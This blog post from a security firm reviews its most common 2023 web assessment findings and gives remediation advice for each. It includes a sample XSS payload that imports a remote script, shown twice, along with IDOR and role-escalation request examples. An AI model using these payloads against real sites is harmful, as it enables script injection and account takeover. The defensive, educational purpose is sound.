Skip to Main Content
May 09, 2024

Most Reported Web Findings of 2023

Written by Aaron James
Application Security Assessment

I reviewed the findings from the application and API assessments that the TrustedSec Software Security Team conducted during 2023 to see what issues we were seeing most often. I put them into categories that I thought would help identify trends without being too vague. For instance, ‘Session Not Terminated’ and ‘Session Fixation’ both got filed under ‘Session Management Flaw’ because they both demonstrate a misapplication of session management principles which are somewhat related. However, authentication flaws like those affecting SAML and OAuth 2.0 were kept separate from each other because they are distinct, and having a grasp on one does not mean the other is also well understood.

As a note on severity, these issues may not always have the deepest impact on their own. In fact, most of the individual high and critical-severity issues we’ve encountered in the last year are somewhat rare. However, many more attack paths that resulted in a high impact to the application environments were a combination of lower-severity issues that contributed to more significant exploitation. 

So, the findings I’ve listed may have the broadest impact by virtue of being so commonplace. In other words, if you are responsible for the security of an application, one or more of these issues are likely present in your environment. Learning to recognize and address them will hopefully improve the security of larger swaths of the web, which is ultimately the goal of the TrustedSec Software Security Team.

TL;DR aka Executive Summary

These are the most common findings we see repeated across engagement types, industry verticals, and technologies. Proactively identifying and remediating these issues will improve the organization’s security posture as it relates to the web environments.

Normalized Finding

% of Engagements

Sensitive Data in URL


Insecure Direct Object References


Malicious File Upload Permitted


Cross-Site Scripting


Authorization Failure


Cookie Misconfiguration


Session Management Flaws


User Enumeration


Outdated JavaScript Library


Missing or Misconfigured Security Headers


So, what are these, how can you identify them in your own app, and how can they be fixed or avoided? Descriptions of each finding, as well as common ways to identify and remediate them are included below. I’ve also included links to further reading if there is anything that is not clear or you need greater detail.

Sensitive Data in URL

One out of every 14 assessments (7.2%) we conducted included some form of sensitive data within the URL query string. This was usually when sensitive data was in a user’s session token or other token that granted access to an otherwise restricted resource. URLs are recorded in a variety of places, including browsers, in-line proxys, and web server logs, and these places may not incorporate rigid security controls. Including secrets in the URL increases the likelihood they are exposed, and in the case of session tokens, could lead to account compromise.

Identifying sensitive tokens in URLs is straightforward, and will look similar to this:

https://[portal-your-site].com/sensitive-resource?token= eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiU2NvdHQgV2hpdGUiLCJwb3NpdGlvbiI6IkRpcmVjdG9yIG9mIFNvZnR3YXJlIFNlY3VyaXR5Iiwic2xlZXZlcyI6ZmFsc2UsImlhdCI6NDAzNjMyMDI5fQ.n-jX8RM04g8F0dvCcqlXJIyy1S0m7fP8F4m2xNEZnP4 

The value of the token parameter is a user’s session token.

The solution is to ensure sensitive information is transmitted in an alternate way that cannot be so plainly observed, such as within cookies or as body parameters submitted in POST requests. 

Further reading:

Insecure Direct Object References

Insecure Direct Object References (IDOR) were seen in over 8% of our engagements. IDORs occur when some data or resource is accessed based on its actual name or key without the application verifying the requesting user is authorized to access the object. Somewhere this often shows up is in ecommerce applications with the ability to check an order status, for example:


Order numbers are probably sequentially generated as they are added to the database, so incrementing the order number from ‘31336’ to ‘31337’ could allow an attacker to obtain order information that doesn’t belong to them, possibly including name, email, and home address. This would be an easy attack to automate and illegitimately gather a lot of data quickly.

Another example would be to update someone else’s profile by changing the value of the user ID to that user’s ID.

		“id”: “3485”,
		“email”: “[email protected]”

Another user’s email could be updated to an attacker-controlled address and then be used to begin a forgotten password process, leading to account compromise. 

IDORs are a type of authorization failure but are exploited through a predictable identifier or key. To fix this, applications should map keys, like the order number, to values only available to the current user. So, if a user has access to five orders, change the order number in the URL to one (1) through five (5). Then map one (1) though five (5) to the actual order number, such as 31336, on the server. An example server side lookup may look like this: [{“id”:1,”key”: 12345},{“id”:2,”key”: 31336}],{“id”:3,”key”:44556}]…]

In some cases, a large enough key space, like a UUID, can be used to prevent predictable, sequential access to objects. However, if those UUID values are discoverable, this may not be a complete solution, depending on the application-specific context.

Otherwise, authorization failures can be avoided through strict access control checks for each authenticated request, verifying the user is allowed to access whatever it is they’re trying to get ahold of.

Further reading:

Malicious File Upload Permitted

Malicious File Upload Permitted was a finding reported on nearly 15% of our assessments. If a user can upload malicious files into a web environment, they may be able to coerce another user into downloading and executing those files, using the application as a malware delivery platform. 

We test for this by generating a known-malicious payload, or sometimes a reverse shell executable. This allows us to evaluate for vulnerability without the potential for any real downstream damage.

We often see front-end controls being relied upon to prevent malicious uploads, like the HTML accept attribute that specifies what extensions are allowed.

<input type="file" accept="image/*,.pdf" />

 This is useful from a user experience perspective, but because the enforcement is within our browser (client-side), we can change what extensions are in that attribute. To prevent malicious file uploads, verify on the server-side the file’s extension and MIME type is an acceptable type, and limit file types to only files used by the application. Also, implement antivirus scanning server-side on all uploaded files.

Cross-Site Scripting

Nearly 19% of our engagements in 2023 featured cross-site scripting (XSS), where an attacker can include or coerce a user into including malicious scripts in application output. This code may be arbitrary and will run client-side (within a user’s browser), having a variety of severe effects. Where session management is handled with cookies, requests can be made to the application to view or do anything the user can. Or sensitive tokens, like JWTs stored in the browser’s storage can be sent to an attacker-controlled server, resulting in account compromise, among other possibilities.

There are a few different types of XSS, but broadly speaking, the most prominent are stored XSS and reflected XSS. Stored XSS occurs when an attacker can save malicious code somewhere in the application that another user can view. For example, updating a user profile to include a XSS payload in a user’s last name may execute within an administrator’s browser when they view the user management page.

<img src/onerror=import('http:[]/xss.js')> 

Reflected XSS involves the application displaying unmodified user input in the response. So, a search form may show the searched term on the current page with a URL similar to:

https://[https://[portal-your-site].com/search?q=<img src/onerror=import(‘http:[]/xss.js’)>

If a user clicks the provided link, and the displayed search term is shown without encoding, the search term may be added to the page HTML. If the term includes an XSS payload it will be executed within the user’s browser.

XSS can be difficult to identify, but reviewing source code for each instance where user input could eventually be returned in application output, as well as leveraging automated security tools is a good start.

To avoid XSS vulnerabilities or fix them once they’re identified, ensure user input is strictly validated and, in the type and form expected by the application. Additionally, HTML-encode output that originates from untrusted sources, and implement a robust Content-Security-Policy (CSP) to prevent an attacker from loading external scripts.

Further reading:

Authorization Failure

The ability to do something in an application that we were not supposed to do which had some sort of security implication was common, being reported 22% of the time in API and application assessments. In most cases this looks like a privilege escalation either vertically, meaning we can elevate our privileges, or horizontally, meaning we can interact with resources of a peer in a way that should not be allowed.

Sometimes applications hide or disable sensitive functionality, preventing lower-privileged users from accessing it directly. However, if no server-side controls are in place, lower-privileged users may be able to navigate directly to it or modify HTML to gain access. For example, a user may not have a “Settings” link in their navigation menu but visiting the /settings path in the URL may allow access. The ability to modify another user’s content may also be enabled by removing the HTML disabled attribute.

Other examples could include business logic flaws, like a manager who cannot update their own role through User Management, but can update their profile and include additional parameters such as “role”:”admin” in the request to elevate their privileges.

Implement a robust, role-based access control framework, which ensures requests for sensitive resources include explicit steps to verify the user is authorized to access what they are trying to access. This should include application paths, like /admin, as well as more granular elements of objects, like a user’s role information. 

Further Reading:

Cookie Misconfiguration

One of every four engagements set some type of sensitive cookie, usually a session cookie, without proper security attributes. The most common misconfigurations on these sensitive cookies is related to the HttpOnly, Secure, and SameSite attributes.

HttpOnly prevents client-side scripts from reading the cookie value. In the event of attacks like XSS, the malicious scripts could obtain the session cookie’s value, resulting in account compromise. So, the HttpOnly attribute acts as a defense-in-depth measure to protect the session token against theft.

The Secure attribute ensures the browser does not send the cookie over an unencrypted channel, mitigating the likelihood of cookie theft via eavesdropping Man-in-the-Middle attacks.

The SameSite attribute governs when the cookie is sent in cross-site requests and can have several values associated with it. SameSite=Strict prevents any cross-site requests, so a user following an application link from a third-party site will not have their cookie sent in the request. SameSite=Lax on the other hand, will allow the browser to send a session token when issuing a GET cross-site request, but not a state-changing POST request.

To add additional layers of security to any cookies with sensitive information, like session cookies, set these attributes with values that are appropriate for the application environment. These attributes can generally be set through the underlying development framework. 

Further Reading:

Session Management Flaws

Session management flaws were present in 27% of engagements. These include sessions that were not terminated on logout or remained valid for long periods of time. Sometimes session tokens contain predictable or plaintext values which let us forge arbitrary tokens. Session fixation issues also arise when the application relies on user input to create a session token.

Session management issues can be difficult to identify because the tokens usually seem random and cryptic; however, a methodical and thorough review of the tokens and processes for generating and renewing sessions can reveal cracks. The basic tenants for session tokens require them to be unique, unpredictable, random, and newly issued by the server upon each login. They should also expire after being idle, after an absolute timeout, and upon logout. 

In most cases using the session management mechanisms provided by the underlying web development framework, rather than developing a new implementation, can avoid many common mistakes related to randomness, predictability, and session fixation. 

Ensure sessions expire on user-initiated logout, within a reasonable timeframe of inactivity, and after an absolute timeframe. Typically, an inactivity timeout would reflect the amount of time a user is expected to use the application, as well as the sensitivity of data the session protects. For most business-related applications, this might be two to four hours, whereas a financial application may expire sessions in as little as 30 minutes. An absolute timeout may be longer, but it is unlikely that a user needs to maintain a session overnight. Additionally, sessions must be terminated on the server-side, not merely removed from the browser.

Further Reading:

User Enumeration

On one out of every three engagements, valid users could be identified based on varying application responses when provided with valid and invalid users. With a list of valid users, attackers can launch password attacks against those accounts, or use that information for further attacks within the application or through social engineering. 

User enumeration can show up in a variety of places. Normally, it is around authentication functionality, either the login, password reset, or registration processes. This usually looks like differences in response content, like error messages. Responses like “Account not found” or “This username is taken” tell us the username is invalid or valid, respectively. Other differences may be more subtle, like certain application-specific cookies being set or not. 

Another common way user enumeration shows up is through timing differences. Requests with valid accounts may respond very quickly while requests with invalid accounts are slow, or vice versa. If the differences in response timing are consistent and network latency can be smoothed out, those differences can be used to identify valid accounts.

Though perhaps less common, usernames may also be enumerated when they show up in URLs, like:


In these cases, a 404 Not Found response suggests a user does not exist, whereas a 403 Forbidden response suggests they do.

Preventing user enumeration requires consistent responses to requests for valid and invalid usernames alike. Respond to any failed login with a generic response like “The username or password is incorrect.” Respond to password reset or registration requests with out-of-band communication (preferably email) and generic messages like “Check your email instructions on completing your [password reset|registration]” 

Similarly, when usernames are used in URLs, use consistent responses, like a 200 OK with a blank response body for any user endpoint the requesting user is not authorized to access.

Lastly, fixed, consistent timing can eliminate variations in response timing that indicate valid and invalid users.

Outdated JavaScript Library

Nearly half of engagements from last year included a finding for outdated JavaScript libraries loaded by the application that was affected by at least one (1) known vulnerability. These libraries may introduce security issues like XSS under certain conditions.

For example, jQuery versions from v1.2 up to v3.5 are affected by CVE-2020-11022, an XSS vulnerability due to unintended behavior in the regex used to parse HTML from untrusted sources. To exploit this, an attacker needs to be able to provide that untrusted HTML to a vulnerable method. If such an input is not available, the application is likely not vulnerable.

The counterpoint is that application environments change. If the development team is not mindful of the security implications around that library or the vulnerable component, they may implement them as the application environment continues to grow. Or perhaps mitigations you have in place fail or a developer simply makes a mistake.

We recommend that outdated libraries are kept up-to-date to avoid them being one of the dominos in an attack path that leads to a business impact.

Missing or Misconfigured Security Headers

Half of all 2023 engagements had security headers that were either missing or misconfigured. These headers are response headers from the server that provide a variety of security-related guidance to the user’s browser. Generally, not having these headers in place does not create directly exploitable issues in the application. However, when they are present and properly configured, they contribute to more in-depth defense, helping to prevent exploitation even when other controls fail.

The Content-Security-Policy response header is designed to protect against XSS attacks. The policy allows specified resources, like scripts or styles, to be loaded only from approved sources. Mozilla provides a several different examples that can be fine tuned for a particular environment.

One of the ways we see this header misconfigured, is with the use of the unsafe-inline and unsafe-evalkeywords in the default-src or script-src directives. These remove default protections against XSS attacks. If inline scripts and styles are needed, CSP allows nonce and hash values for approved content. 

For more details on setting up a CSP, check out Drew’s blog: 

The Strict-Transport-Security response header enforces the use of TLS. A header of strict-transport-security: max-age=31536000; includeSubDomains instructs the browser to send traffic to the site and its subdomains over HTTPS only, and to do so for a year. This avoids downgrade attacks that may result in eavesdropping.

X-Content-Type-Options enforces MIME types as the server provided them, instructing browsers to not modify them. A value of X-Content-Type-Options: nosniff prevents this.

The X-Frame-Options response header protects the application from framing attacks like clickjacking. A value like X-Frame-Options: deny, explicitly instructs the browser to disallow framing.

The Referrer-Policy response header determines what information is contained in the Referrer request header and should be set to restrict sensitive information being leaked to third-party sites. 

Further Reading:

Where to Go From Here

So, to briefly conclude, these are the most common issues we see repeated between engagements. Individually, they may not represent critical or high-severity issues, but many times they are useful in the formation of more damaging attacks. If these issues could be remediated, web security could be improved on a wider scale. 

And if you run into any issues, we’re always happy to assess your application, so please don’t hesitate to reach out: